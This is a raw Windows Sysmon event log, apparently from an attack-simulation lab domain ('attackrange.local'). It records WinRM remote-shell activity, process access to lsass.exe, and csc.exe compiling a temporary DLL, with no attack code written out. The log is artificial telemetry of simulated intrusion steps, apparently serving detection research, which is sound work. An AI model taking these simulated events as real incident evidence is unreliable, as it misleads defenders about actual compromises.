09:10:57.067{A5F018FF-2921-5F80-DF00-000000007F01}4800C:\Windows\System32\winrshost.exe10.0.14393.0 (rs1_release.160715-1616)Host Process for WinRM's Remote Shell pluginMicrosoft® Windows® Operating SystemMicrosoft Corporationwinrshost.exeC:\Windows\system32\WinrsHost.exe -EmbeddingC:\Windows\system32\ATTACKRANGE\Administrator{A5F018FF-2921-5F80-9203-080000000000}0x803920HighMD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96{A5F018FF-28BE-5F80-0C00-000000007F01}604C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch 10341000x80000000000000004303Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.063{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004302Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.063{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004301Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.063{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000004492Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:58.765{A5F018FF-2922-5F80-EA00-000000007F01}1396C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeC:\Users\Administrator\AppData\Local\Temp\5md1qhml\5md1qhml.dll2020-10-09 09:10:58.703 10341000x80000000000000004491Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.765{A5F018FF-2921-5F80-E000-000000007F01}11565012C:\Windows\system32\conhost.exe{A5F018FF-2922-5F80-EB00-000000007F01}4108C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004490Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.765{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004489Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.765{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004488Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.765{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004487Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.765{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004486Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.765{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004485Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.765{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004484Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.765{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004483Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.765{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004482Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.765{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2922-5F80-EB00-000000007F01}4108C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004481Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.765{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004480Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.765{A5F018FF-2922-5F80-EA00-000000007F01}13964472C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe{A5F018FF-2922-5F80-EB00-000000007F01}4108C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+b181|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3d58|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3ed0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3fa6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+274e|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+27a0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+28e4|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+7e38f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+45d22|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+448ef|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+445e6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+44303|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+18321|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+17b76|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+9e0d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+1edf02|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004479Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.767{A5F018FF-2922-5F80-EB00-000000007F01}4108C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe12.00.52519.0 built by: VSWINSERVICINGMicrosoft® Resource File To COFF Object Conversion UtilityMicrosoft® .NET FrameworkMicrosoft CorporationCVTRES.EXEC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESA023.tmp" "c:\Users\Administrator\AppData\Local\Temp\5md1qhml\CSC23DC6F913F94A76A2EFB267106E1487.TMP"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2921-5F80-9203-080000000000}0x803920HighMD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF{A5F018FF-2922-5F80-EA00-000000007F01}1396C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\5md1qhml\5md1qhml.cmdline" 10341000x80000000000000004478Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.703{A5F018FF-2921-5F80-E000-000000007F01}11565012C:\Windows\system32\conhost.exe{A5F018FF-2922-5F80-EA00-000000007F01}1396C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004477Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.703{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004476Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.703{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004475Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.703{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004474Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.703{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004473Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.703{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004472Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.703{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004471Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.703{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e